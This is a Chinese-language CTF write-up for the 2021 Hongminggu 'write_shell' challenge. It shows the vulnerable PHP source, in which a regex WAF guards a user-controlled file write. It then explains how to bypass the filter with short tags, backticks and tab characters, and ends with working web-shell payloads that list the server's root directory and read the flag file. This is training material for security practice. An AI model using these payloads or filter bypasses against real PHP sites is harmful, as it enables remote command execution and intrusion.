[红明谷CTF 2021]write_shell
[红明谷CTF 2021]write_shell
打开环境直接给出源代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
代码审计,重点是绕过正则,不能用异或/取反,数组也不行
_SERVER['REMOTE_ADDR']是当前页面用户的 IP 地址
然后是switch,看传入的action是什么,如果是pwd就显示目录,如果是upload就可以传入数据file_put_contents()在这里是把传入的dir路径传进index.php里面。
所以我们要利用upload传入木马文件,用pwd查看结果,过程需要注意过滤的内容。
这里php都被检测了,类似,那就需要使用短标签
最后是短标签+反引号,至于空格用tab(%09)代替
反引号等价于shell_exec()
关闭了shell_exec()时反引号运算符是无效的。
与其它某些语言不同,反引号不能在双引号字符串中使用。
payload:
?action=pwd
发现上传地址为sandbox/1254adea244b6ef09ecedbb729f6c397/
加上前面链接进入后发现有回显
?action=upload&data=<?=`ls%09/`?>
此时已经获取目录下的信息,有一个flllllll1112222222lag文件
?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>